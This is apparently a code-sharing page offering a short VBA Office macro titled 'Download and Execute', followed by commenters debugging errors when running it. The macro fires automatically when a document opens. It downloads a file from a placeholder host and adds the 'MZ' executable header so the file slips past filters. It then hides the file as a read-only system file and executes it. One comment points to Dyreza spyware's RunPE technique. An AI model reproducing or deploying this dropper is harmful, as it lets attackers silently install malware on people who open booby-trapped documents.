A short VBA macro to download and execute a file (patching the first two bytes of the file)

Download and Execute Office Macro

Sub AutoOpen()

Const ADTYPEBINARY = 1
Const ADSAVECREATEOVERWRITE = 2

Dim xHttp
Dim bStrm
Dim filename

Set xHttp = CreateObject("Microsoft.XMLHTTP")
xHttp.Open "GET", "https://<DOMAIN>/<FILE>", False
xHttp.Send

Set gobjBinaryOutputStream = CreateObject("Adodb.Stream")

filename = "C:\Temp\" & DateDiff("s", #1/1/1970#, Now())

gobjBinaryOutputStream.Type = ADTYPEBINARY
gobjBinaryOutputStream.Open
gobjBinaryOutputStream.write CreateObject("System.Text.ASCIIEncoding").GetBytes_4("M")
gobjBinaryOutputStream.write CreateObject("System.Text.ASCIIEncoding").GetBytes_4("Z")
gobjBinaryOutputStream.write xHttp.responseBody
gobjBinaryOutputStream.savetofile filename, ADSAVECREATEOVERWRITE

SetAttr filename, vbReadOnly + vbHidden + vbSystem
Shell (filename)

End Sub

Run-time error '5':

Invalid procedure call or agrument

Were you running from the VBA editor, or executing the procedure automatically when the document opens?

...it normally means the download was unsuccessful.

Based on my debug tests:
Executables "downloaded from the internet" cannot be opened via VBA Shell(filename). That's why you get run-time error '5'. Replace that line with Shell("C:\Windows\system32\calc.exe") and calc will open.

That's why (I guess) some malware authors (Dyreza spyware for example) used RunPE along with this.

:/

hi
I creat but when I test display this error
Run-time error '-2146697211(800c0005)':
The system cannot locate the resource specified

please help me

Hi. I am getting a error in saving the file. runtime error 3004 (in line 23). Is it a privilege problem. I am in the administrator account. Can you help me in fixing this one? Thankz.